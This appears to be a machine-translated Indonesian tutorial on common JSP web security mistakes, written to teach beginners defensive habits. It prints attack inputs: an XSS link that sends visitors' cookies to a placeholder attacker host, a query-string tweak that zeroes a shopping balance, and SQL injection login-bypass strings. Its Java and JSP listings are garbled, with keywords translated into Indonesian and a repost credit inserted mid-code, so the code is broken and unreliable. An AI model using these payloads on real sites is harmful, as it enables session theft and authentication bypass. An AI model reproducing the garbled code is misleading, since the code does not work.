Java Server Page (JSP) menjadi semakin populer sebagai teknologi untuk membuat halaman web dinamis. JSP, ASP, dan PHP memiliki mekanisme kerja yang berbeda. Secara umum, halaman JSP dikompilasi daripada diinterpretasikan saat dieksekusi. Panggilan pertama ke file JSP sebenarnya adalah proses kompilasi menjadi Servlet. Ketika browser meminta file JSP ini dari server, server akan memeriksa apakah file JSP telah berubah sejak kompilasi terakhir. Jika tidak ada perubahan, Servlet akan langsung dijalankan tanpa kompilasi ulang ditingkatkan.
Hari ini saya akan melihat keamanan JSP dari perspektif pemrograman skrip bersama Anda. Risiko keamanan seperti paparan kode sumber berada di luar cakupan artikel ini. Tujuan utama penulisan artikel ini adalah untuk mengingatkan teman-teman yang baru mengenal pemrograman JSP agar menumbuhkan kesadaran akan pemrograman yang aman sejak awal, tidak melakukan kesalahan yang tidak boleh dilakukan, dan menghindari kerugian yang dapat dihindari. Selain itu, saya juga seorang pemula. Jika Anda memiliki kesalahan atau pendapat lain, silakan posting dan beri tahu saya.
1. Otentikasi longgar - kesalahan tingkat rendah
Dalam versi revisi Yiyang Forum v1.12,
user_manager.jsp adalah halaman yang dikelola pengguna. Penulis mengetahui sensitivitasnya dan menambahkan kunci:
if ((session.getValue( "UserName" )==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("Administrator Sistem")))
{
respon.sendRedirect("err.jsp?id=14");
kembali;
}
Jika Anda ingin melihat dan mengubah informasi pengguna, Anda harus menggunakan file modifikasiuser_manager.jsp. Dikirim oleh administrator
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
Ini untuk melihat dan mengubah informasi pengguna dengan ID 51 (ID pengguna default administrator adalah 51). Namun, dokumen penting tersebut tidak memiliki otentikasi. Pengguna biasa (termasuk wisatawan) dapat langsung mengirimkan permintaan di atas dan dapat melihatnya dengan jelas (kata sandi juga disimpan dan ditampilkan dalam teks yang jelas). memodifikasiuser_manage.jsp juga terbuka. Baru setelah pengguna jahat menyelesaikan operasi pembaruan data dan mengalihkan ke user_manager.jsp, dia akan melihat halaman yang terlambat menampilkan kesalahan. Jelas, mengunci pintu saja tidak cukup. Saat memprogram, Anda harus bersusah payah menambahkan otentikasi identitas ke setiap tempat di mana otentikasi identitas harus ditambahkan.
2. Jaga pintu masuk JavaBean
Inti dari teknologi komponen JSP adalah komponen java yang disebut bean. Dalam program ini, kontrol logika dan operasi database dapat ditempatkan di komponen Javabeans, dan kemudian dipanggil dalam file JSP, yang dapat meningkatkan kejelasan program dan penggunaan kembali program. Dibandingkan dengan halaman ASP atau PHP tradisional, halaman JSP sangat sederhana karena banyak proses pemrosesan halaman dinamis yang dapat dienkapsulasi ke dalam JavaBeans.
Untuk mengubah properti JavaBean, gunakan tag "<jsp:setProperty>".
Kode berikut adalah bagian dari kode sumber sistem belanja elektronik imajiner. File ini digunakan untuk menampilkan informasi di kotak belanja pengguna, dan checkout.jsp digunakan untuk checkout.
<jsp:useBean id="myBasket" class="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>Keranjang Anda</title></head>
<tubuh>
<p>
Anda telah menambahkan item tersebut
<jsp::getProperty name="myBasket" property="newItem"/>
ke keranjang Anda.
<br/>
Total Anda adalah $
<jsp::getProperty name="myBasket" property="balance"/>
Lanjutkan ke <a href="checkout.jsp">checkout</a>
Apakah Anda memperhatikan property="*"? Hal ini menunjukkan bahwa nilai semua variabel yang dimasukkan oleh pengguna di halaman JSP yang terlihat, atau dikirimkan langsung melalui Query String, akan disimpan di properti kacang yang cocok.
Biasanya, pengguna mengirimkan permintaan seperti ini:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
Namun bagaimana dengan pengguna yang nakal? Mereka dapat mengirimkan:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
Dengan cara ini, informasi saldo=0 disimpan di JavaBean. Ketika mereka mengklik "chekout" untuk check out, biayanya dihapuskan.
Ini adalah masalah keamanan yang sama yang disebabkan oleh variabel global di PHP. Terlihat dari ini: "property="*"" harus digunakan dengan hati-hati!
3. Skrip lintas situs yang bertahan lama
Serangan skrip lintas situs (Cross Site Scripting) mengacu pada penyisipan skrip JavaScript, VBScript, ActiveX, HTML, atau Flash yang berbahaya secara manual ke dalam kode HTML halaman WEB jarak jauh untuk mencuri penjelajahan ini halaman privasi pengguna, mengubah pengaturan pengguna, dan menghancurkan data pengguna. Serangan skrip lintas situs tidak akan mempengaruhi pengoperasian server dan program WEB dalam banyak kasus, namun menimbulkan ancaman serius terhadap keamanan klien.
Ambil Forum Acai (beta-1) dari Fangdong.com sebagai contoh paling sederhana. Saat kami mengirimkan
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>,
kotak dialog berisi informasi cookie kami sendiri akan muncul. Kirimkan
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>
untuk mengalihkan ke NetEase .
Karena skrip tidak melakukan pengkodean atau pemfilteran kode berbahaya apa pun saat mengembalikan nilai variabel "nama" ke klien, ketika pengguna mengakses tautan data yang menyematkan variabel "nama" berbahaya, kode skrip akan dieksekusi di browser pengguna, mungkin menyebabkan Konsekuensi seperti kebocoran privasi pengguna. Misalnya tautan berikut:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?' +document .cookie</script>
xxx.xxx digunakan untuk mengumpulkan parameter berikut, dan parameter di sini menentukan document.cookie, yang merupakan cookie pengguna yang mengakses tautan ini. Di dunia ASP, banyak orang yang menguasai teknik mencuri cookie. Di JSP, membaca cookie tidaklah sulit. Tentu saja, skrip lintas situs tidak terbatas pada fungsi mencuri cookie. Saya yakin semua orang memiliki pemahaman tertentu tentangnya, jadi saya tidak akan membahas detailnya di sini.
Semua masukan dan keluaran halaman dinamis harus dikodekan untuk menghindari sebagian besar serangan skrip lintas situs. Sayangnya, pengkodean semua data yang tidak tepercaya membutuhkan banyak sumber daya dan dapat berdampak pada kinerja server Web. Metode yang umum adalah memfilter data masukan. Misalnya, kode berikut menggantikan karakter berbahaya:
<% String message = request.getParameter("message");
pesan = pesan.ganti('<','_');
pesan = pesan.ganti('>','_');
pesan = pesan.ganti('"','_');
pesan = pesan.ganti(''','_');
pesan = pesan.ganti ('%','_'); [Diposting ulang dari:51item.net]
pesan = pesan.ganti(';','_');
pesan = pesan.ganti ('(','_');
pesan = pesan.ganti(')','_');
pesan = pesan.ganti('&','_');
message = message.replace ('+','_'); %>
Cara yang lebih positif adalah dengan menggunakan ekspresi reguler untuk hanya mengizinkan input karakter tertentu:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) mengembalikan nilai benar;
jika tidak, kembalikan salah;
}
4. Selalu ingat injeksi SQL.
Saat mengajar pemula, buku pemrograman umum tidak memperhatikan untuk membiarkan mereka mengembangkan kebiasaan pemrograman yang aman sejak awal. "Pemikiran dan Praktik Pemrograman JSP" yang terkenal menunjukkan kepada pemula bagaimana menulis sistem login dengan database (databasenya adalah MySQL):
Statement stmt = conn.createStatement();
String checkUser = "pilih * dari login di mana nama pengguna = '" + nama pengguna + "' dan kata sandi pengguna = '" + kata sandi pengguna + "'";
ResultSet rs = stmt.executeQuery(periksaPengguna);
if(rs.next())
respon.sendRedirect("SuccessLogin.jsp");
kalau tidak
respon.sendRedirect("FailureLogin.jsp");
Hal ini memungkinkan orang-orang yang percaya pada buku tersebut untuk menggunakan kode login "lubang" bawaan tersebut untuk waktu yang lama. Jika ada pengguna bernama "jack" di database, maka setidaknya ada cara berikut untuk login tanpa mengetahui kata sandinya:
Nama pengguna: jack
Kata sandi: 'atau'a'='a
Nama pengguna: jack
Kata sandi: ' atau 1=1/*
Nama pengguna: jack' atau 1=1/*
Kata sandi: (apa saja)
lybbs (Lingyun Forum) ver 2.9.Server memeriksa data yang dikirimkan untuk login di LogInOut.java seperti ini:
if(s.sama dengan("") ││ s1.sama dengan(""))
throw new UserException("Nama pengguna dan kata sandi tidak boleh kosong.");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
throw new UserException("Nama pengguna tidak boleh menyertakan karakter ilegal seperti ' " \ , dll.");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("Kata sandi tidak boleh menyertakan karakter ilegal seperti ' " \ *.");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("Spasi tidak dapat digunakan pada nama pengguna atau kata sandi.");
Tapi saya tidak tahu mengapa dia hanya memfilter tanda bintang pada kata sandi dan bukan nama pengguna. Selain itu, sepertinya garis miring juga harus dimasukkan dalam "daftar hitam". Saya masih berpikir lebih mudah menggunakan ekspresi reguler untuk hanya mengizinkan karakter dalam rentang tertentu.
Peringatan di sini: Jangan berpikir bahwa "keamanan" yang melekat pada beberapa sistem database dapat secara efektif menahan semua serangan. Artikel Pinkeyes "Contoh Injeksi PHP" memberikan pelajaran bagi mereka yang mengandalkan "magic_quotes_gpc = On" dalam file konfigurasi PHP.
5. Bahaya tersembunyi yang dibawa oleh objek String
Platform Java memang membuat pemrograman keamanan menjadi lebih nyaman. Tidak ada pointer di Java, yang berarti program Java tidak dapat lagi mengalamatkan lokasi memori mana pun di ruang alamat seperti C. Masalah keamanan diperiksa ketika file JSP dikompilasi menjadi file .class, misalnya, upaya untuk mengakses elemen array yang melebihi ukuran array akan ditolak, yang sebagian besar menghindari serangan buffer overflow. Namun, objek String akan memberi kita beberapa risiko keamanan. Jika kata sandi disimpan dalam objek Java String, kata sandi tersebut akan tetap tersimpan di memori hingga sampah dikumpulkan atau proses dihentikan. Bahkan setelah pengumpulan sampah, sampah tersebut akan tetap ada di tumpukan memori bebas hingga ruang memori digunakan kembali. Semakin lama String kata sandi berada di memori, semakin besar risiko penyadapan. Lebih buruk lagi, jika memori sebenarnya berkurang, sistem operasi akan memasukkan String kata sandi ini ke ruang swap disk, sehingga rentan terhadap serangan penyadapan blok disk. Untuk meminimalkan (tetapi tidak menghilangkan) kemungkinan kompromi seperti itu, Anda harus menyimpan kata sandi dalam array char dan menghilangkannya setelah digunakan (String tidak dapat diubah dan tidak dapat di-nolkan).
6. Studi pendahuluan tentang keamanan thread
"Apa yang dapat dilakukan JAVA, dapat dilakukan oleh JSP". Berbeda dengan bahasa scripting seperti ASP dan PHP, JSP dijalankan secara multi-thread secara default. Mengeksekusi dengan cara multi-thread dapat sangat mengurangi kebutuhan sumber daya pada sistem dan meningkatkan konkurensi dan waktu respons sistem. Thread adalah jalur eksekusi yang independen dan bersamaan dalam program. Setiap thread memiliki tumpukannya sendiri, penghitung programnya sendiri, dan variabel lokalnya sendiri. Meskipun sebagian besar operasi dalam aplikasi multithread dapat dilakukan secara paralel, ada beberapa operasi, seperti memperbarui tanda global atau memproses file bersama, yang tidak dapat dilakukan secara paralel. Jika sinkronisasi thread tidak dilakukan dengan baik, masalah juga akan terjadi selama akses bersamaan dalam jumlah besar tanpa "partisipasi antusias" dari pengguna jahat. Solusi paling sederhana adalah dengan menambahkan: instruksi <%@ page isThreadSafe="false" %> ke file JSP yang relevan untuk membuatnya dieksekusi secara single-threaded. Saat ini, semua permintaan klien dieksekusi secara serial. Hal ini dapat sangat menurunkan kinerja sistem. Kita masih dapat membiarkan file JSP dijalankan secara multi-thread dan menyinkronkan thread dengan mengunci fungsinya. Sebuah fungsi ditambah kata kunci tersinkronisasi memperoleh kunci. Perhatikan contoh berikut:
public class MyClass{
ke dalam;
public Init() {//Metode ini dapat dipanggil oleh beberapa thread sekaligus a = 0;
}
public synced void Set() {//Dua thread tidak dapat memanggil metode ini secara bersamaan if(a>5) {
sebuah= sebuah-5;
}
}
}
Namun hal ini tetap akan mempunyai dampak tertentu terhadap kinerja sistem. Solusi yang lebih baik adalah dengan menggunakan variabel lokal daripada variabel instan. Karena variabel instan dialokasikan di heap dan digunakan bersama oleh semua thread milik instance, maka variabel tersebut tidak aman untuk thread, sedangkan variabel lokal dialokasikan di tumpukan karena setiap thread memiliki ruang tumpukannya sendiri, sehingga aman untuk thread. . Misalnya kode untuk menambah teman di Lingyun Forum:
public void addFriend(int i, String s, String s1)
melempar DBConnectException
{
mencoba
{
jika……
kalau tidak
{
DBConnect dbconnect = new DBConnect("masukkan ke nilai teman (authorid,friendname) (?,?)");
dbconnect.setInt(1, saya);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
dbconnect.close();
dbconnect = nol;
}
}
tangkapan (Pengecualian pengecualian)
{
melempar DBConnectException baru(pengecualian.getMessage());
}
}
Berikut panggilannya:
friendsName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
Jika variabel instan digunakan, maka variabel instan tersebut dibagikan oleh semua thread pada instance tersebut. Ada kemungkinan bahwa setelah pengguna A meneruskan parameter tertentu, threadnya beralih ke status tidur, dan parameter tersebut secara tidak sengaja diubah oleh pengguna B, menyebabkan fenomena ketidakcocokan teman.